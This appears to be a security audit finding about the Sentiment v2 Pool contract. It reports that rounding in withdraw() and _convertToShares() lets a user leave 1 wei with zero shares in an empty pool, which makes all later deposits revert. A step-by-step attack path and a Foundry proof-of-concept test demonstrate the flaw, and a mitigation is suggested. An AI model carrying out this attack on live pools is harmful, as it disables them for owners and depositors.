Lucky Cornflower Porcupine

Medium

# Deposits can be broken on first deposit

### Summary

When a Pool is empty a user can break deposits for it by leaving 1 asset for 0 share thanks to rounding making future deposit revert and force new pool deployment.

### Root Cause

In the `Pool` contract the function [`withdraw()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/src/Pool.sol#L339-L339) round up the shares to be burnt when a user withdraw his deposit.

If a pool was just deployed and is empty, a user could deposit and borrow his own deposit. After 1 second the interest from the borrowing will increase the value per share of deposits above 1-1. Now the user can repay himself and withdraw all his deposit minus 1 wei.
This will result in burning all the shares but leaving 1 asset on the pool.

Now when users tries to deposit, the function [`deposit()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/src/Pool.sol#L309-L309) will call the internal function [`_convertToShares()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/src/Pool.sol#L275-L275) which will always return 0 shares as the function multiply by `totalShares` which is 0. Then the deposit will revert as it's not possible to do 0 shares deposits.

While this doesn't directly lead to loss of funds, it was submitted as it seems to be breaking a core functionality of the contract and Owner is not able to deploy the same Pool again as it's limited to 1 per asset per Owner.

### Internal pre-conditions

- Empty pool that was deployed recently

### External pre-conditions

_No response_

### Attack Path

1. Find an empty pool
2. Deposit on it and borrow
3. Wait 1 second for interests to increase
4. Repay and withdraw all funds minus 1 wei
5. Deposits will always revert now

### Impact

- The deposits will not work anymore making the Pool useless.
- The Owner of the pool will not be able to deploy the same pool again as it's limited to 1 Pool with the same asset per Owner, forcing him to use a new Owner address.
- If the Pool is used on the SuperPool, deposits will not work and it will have to be removed by the Owner.

### PoC

Add to `Pool.t.sol`

```solidity
function testBreakDeposits() public {
        uint256 assets = 50 ether;
        testCanDepositAssets(uint96(assets));

        vm.prank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
        pool.borrow(linearRatePool, user, 1 ether);

        (,,,,,,, uint256 totalBorrowAssets, uint256 totalBorrowShares, uint256 totalDepositAssets, uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        emit log_uint(totalBorrowShares);
        emit log_uint(totalBorrowAssets);
        emit log_uint(totalDepositAssets);
        emit log_uint(totalDepositShares);

        skip(1);
        pool.accrue(linearRatePool);

        (,,,,,,, totalBorrowAssets, totalBorrowShares, totalDepositAssets, totalDepositShares) = pool.poolDataFor(linearRatePool);
        emit log_uint(totalBorrowShares);
        emit log_uint(totalBorrowAssets);
        emit log_uint(totalDepositAssets);
        emit log_uint(totalDepositShares);

        asset1.mint(address(pool), totalBorrowAssets);
        vm.prank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
        pool.repay(linearRatePool, user, totalBorrowAssets);

        vm.prank(user);
        pool.withdraw(linearRatePool, totalDepositAssets - 1, user, user);

        (,,,,,,, totalBorrowAssets, totalBorrowShares, totalDepositAssets, totalDepositShares) = pool.poolDataFor(linearRatePool);
        emit log_uint(totalDepositAssets);
        emit log_uint(totalDepositShares);

        vm.startPrank(user2);
        asset1.mint(user2, assets);
        asset1.approve(address(pool), 5 ether);
        vm.expectRevert();
        pool.deposit(linearRatePool, 5 ether, user2);
        vm.stopPrank();
    }
```

### Mitigation

Consider changing the condition in [`_convertToShares()`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/src/Pool.sol#L275-L275) from `if (totalAssets == 0) return assets;` to `if (totalAssets == 0 || totalShares == 0) return assets;`.